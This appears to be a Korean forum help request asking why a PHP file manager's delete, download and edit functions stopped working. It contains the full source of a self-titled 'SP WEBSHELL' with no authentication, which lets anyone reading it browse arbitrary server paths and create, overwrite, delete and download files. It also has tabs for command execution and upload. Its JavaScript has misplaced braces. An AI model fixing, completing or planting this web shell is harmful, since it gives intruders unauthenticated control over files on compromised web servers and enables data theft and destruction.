파일, 폴더 삭제, 파일다운로드, 파일 수정이 안됩니다.

#원래 수정은 됬었어요
<?
    header("Content-Type:text/html;charset=UTF-8");
    $mode = $_REQUEST["mode"];
    $path = $_REQUEST["path"];
    $page = basename($_SERVER["PHP_SELF"]);
    $fileName = $_GET["fileName"];

    if(empty($path)){
        $tempFileName = basename(__FILE__);
        $tempPath = realpath(__FILE__);
        $path = str_replace($tempFileName, "", $tempPath);
        $path = str_replace("\\", "/", $path);
    } else {
        $path= realpath($path)."/";
        $path = str_replace("\\", "/", $path);
    }

    #Mode Logic
    if($mode == "fileCreate") {
        if(empty($fileName)){
            echo "<script>alert('Empty File Name.');history.back(-1);</script>";
            exit();
        }
        $fp = fopen($path.$fileName, "w");
        fclose($fp);
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";

    } else if ($mode == "dirCreate") {
        if(empty($fileName)){
            echo "<script>alert('Empty Directory Name.');history.back(-1);</script>";
            exit();
        }

        $dirPath = $path.$fileName;
        if(is_dir($dirPath)) {
            echo "<script>alert('Directory Already Exist.');history.back(-1);</script>";
            exit();

        }

        mkdir($dirPath);
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
    }else if ($mode == "fileModify" && !empty($_POST["fileContents"])) {
        $filePath = $path.$fileName;
        if(!file_exists(($filePath))) {
            echo "<script>alert('No File.');history.back(-1);</script>";
            exit();
        }

        $fileContents = $_POST["fileContents"];
        $fp = fopen($filePath, "w");
        fputs($fp, $fileContents, strlen($fileContents));
        fclose($fp);
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";


    } else if ($mode == "fileDelete") {
        if(empty($fileName)){
            echo "<script>alert('Empty file name');history.back(-1);</script>";
            exit();
        }

        $filePath = $path.$fileName;
        if(!file_exists(($filePath))) {
            echo "<script>alert('No File.');history.back(-1);</script>";
            exit();
        }
        if(!unlink($filePath)){
            echo "<script>alert('Fail To Delete File');history.back(-1);</script>";
            exit();
        }
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
    
#######################################################################
    } else if ($mode == "dirDelete") {
        if(empty($fileName)) {
            echo "<script>alert('No File.');history.back(-1);;</script>";
            exit();
        }

        $dirPath = $path.$fileName;
        if(!is_dir($dirPath)) {
            echo "<script>alert('No Directory.');history.back(-1);</script>";
        }

        if(!rmdir($dirPath)) {
            echo "<script>alert('Fail To Delete Directory');history.back(-1);</script>";
            exit();
        }
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";

    } else if ($mode == "fileDownload") {
        if(empty($fileName)) {
            echo "<script>alert('No File.');history.back(-1);;</script>";
            exit();
        }

        $filePath = $path.$fileName;
        if(!file_exists(($filePath))) {
            echo "<script>alert('No File.');history.back(-1);</script>";
            exit();
        }

        header("Content-Type:application/octet-stream");
        header("Content-Disposition:attachment; fileName=\"{$fileName}\"");
        header("Content-Transfer-Encoding:binary");
        
        readfile($filePath);
        exit();
    }
    #Dir list return function
    function getDirList($getPath) {
        $listArr = array();
        $handler = opendir($getPath);
        while($file = readdir()) {
            if(is_dir($getPath.$file) == "1") {
                $listArr[] = $file;
            }

        }
    closedir($handler);
    return $listArr;

    }

    #File List Return Function
    function getFileList($getPath) {
        $listArr = array();
        $handler = opendir($getPath);
        while($file = readdir()) {
            if(is_dir($getPath.$file) != "1") {
                $listArr[] = $file;
            }

        }
    closedir($handler);
    return $listArr;

    }


?>
<!DOCTYPE html>
<html lang="ko">    
    <head>
        <title>SP WEBSHELL1.0.1</title>
    <!-- 합쳐지고 최소화된 최신 CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
    <!-- 부가적인 테마 -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css">
    <!-- 합쳐지고 최소화된 최신 자바스크립트 -->
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
    <script>
        function fileCreate() {
            var fileName = frm.createFileName.value;
            if(!fileName){
                alert("Please Input File Name.");
                return;
            }
            location.href = "<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" + fileName;
        }
        function dirCreate() {
            var fileName = frm.createFileName.value;
            if(!fileName){
                alert("Please Input Directory Name.");
                return;
            }
            location.href = "<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" + fileName;
        }
    
        function fileModify(fileName) {
            location.href = "<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=" + fileName;
        
        function dirDelete(fileName) {
            if(confirm("Will you delete this directory? :" + fileName) == true){
                location.href = "<?=$page?>?mode=dirDelete&path=<?=$path?>&fileName=" + fileName;
            }
        }

        function fileDelete(fileName) {
            if(confirm("Will you delete this file? :" + fileName) == true){
                location.href = "<?=$page?>?mode=fileDelete&path=<?=$path?>&fileName=" + fileName;
            }
        }

        }
        
        function fileDownload(fileName) {
            location.href = "<?=$page?>?mode=fileDownload&path=<?=$path?>&fileName=" + fileName;
    </script>
    </head>

    <body>
    <div class="container-fluid">
        <div class="row">
        <div class="col-md-3"></div>
        <div class="col-md-6">
            <h3>SP WEBSHELL ver 1.0.3</h3>
            <hr>
            <ul class="nav nav-tabs">
            <li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li>
            <li role="presentation"><a href="<?=$page?>?mode=fileUpload">File Upload</a></li>
            <li role="presentation" <? if($mode == "fileUpload") echo "class=\active\"";?>><a href="<?=$page?>?mode=command">Command Excution</a></li>
            <li role="presentation" <? if($mode == "logout") echo "class=\active\"";?>><a href="<?=$page?>?mode=logout">Logout</a></li>
            </ul>
            <br>
            <? if(empty($mode) || $mode == "fileBrowser") { ?>
            <form action="<?=$page?>?mode=fileBrowser" method="GET">
                <div class="input-group">
                <span class="input-group-addon">Current Path</span>
                <input type="text" class="form-control" placeholder="Path_Input" name="path" value="<?=$path?>">
                <span class="input-group-btn">
                    <button class="btn btn-default" type="submit">Move</button>
                </span>
            </div>
            </form>
            <hr>
            <div class="table-responsive">
            <table class="table table-bordered table-hover"style="table-layout: fixed; word-break: break-all;">
                <thead>
                    <tr class="active">
                        <th style="width: 50%"class="text-center">Name</th>    
                        <th style="width: 14%" class="text-center">Type</th> 
                        <th style="width: 18%" class="text-center">Date</th> 
                        <th style="width: 18%" class="text-center">Action</th>  
                    </tr>
                </thead>
                <tbody>
                    <?
                    $dirList = getDirList($path);
                    for($i=0; $i<count($dirList); $i++) {
                        if($dirList[$i] !=".") {
                        $dirDate= date("Y-m-d H:i", filemtime($path.$dirList[$i]));
                  ?>
                    <tr>
                        <td style="vertical-align: middle"><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span><b>&nbsp;&nbsp;<a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td>
                        <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td>
                        <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td>
                        <td style="vertical-align: middle" class="text-center">
                        <? if($dirList[$i] !="..") {?>
                        <div class="btn-group btn-group-sm" role="group" aria-label="...">
                        <button type="button" class="btn btn-danger" title="Directory Delete" onclick="dirDelete('<?=$dirList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
                        <? }?>
                        </div>
                        </td>
                    </tr>
                    <?
                        }
                    }
                    ?>

<?
                    $fileList = getFileList($path);
                    for($i=0; $i<count($fileList); $i++) {
                        $fileDate= date("Y-m-d H:i", filemtime($path.$fileList[$i]));
                  ?>
                    <tr>
                        <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td>
                        <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td>
                        <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td>
                        <td style="vertical-align: middle" class="text-center">
                        <div class="btn-group btn-group-sm" role="group" aria-label="...">
                        <button type="button" class="btn btn-info" title="File Download" onclick="fileDownload('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button>
                        <button type="button" class="btn btn-warning" title="File Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button>
                        <button type="button" class="btn btn-danger" title="File Delete" onclick="fileDelete('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
                        </div>
                        </td>
                    </tr>
                    <? } ?>
                </tbody>
            </table>
        </div>
        <hr>
        <form name="frm">
            <div class="input-group">
            <input type="text" class="form-control" placeholder="File/Directroy Name Input..." name="createFileName">
            <span class="input-group-btn">
            <button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button>
            <button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button>
            </span>
            </div>
        </form>
        <? } else if($mode == "fileModify") { ?>
        <? 
            if(empty($fileName)) {
                echo"<script>alert('No File.');history.back(-1);</script";
                exit();
            }

            $filePath = $path.$fileName;
            if(!file_exists($filePath)){
                echo"<script>alert('No File.');history.back(-1);</script";
                exit();
            }

            $fp = fopen($filePath, "r");
            $fileContents = fread($fp, filesize($filePath));
            fclose($fp);


        ?>

            <form action="<?=$page?>?mode=fileModify&path=<?$path?>&fileName=<?=$fileName?>" method="POST">
            <div class="input-group">
            <input type="text" class="form-control" value="<?=$path?><?=$fileName?>">
            <span class="input-group-btn">
            <button class="btn btn-default" type="submit">File Modify</button>
            </span>
            </div>
        <textarea class="form-control" rows="20" name="fileContents"><?=htmlspecialchars($fileContents)?></textarea>
        </form>
        <br>
        <p class="text-center"><button class="btn btn-default" type="button" onclick="history.back(-1)">Back</button></p>
        <? } ?>
        <hr>
        <p class="text-muted text-center">Made by SPACEPIG#1747</p>
        <div class="col-md-3"></div>
        </div>
    </div>      
    </body>
</html>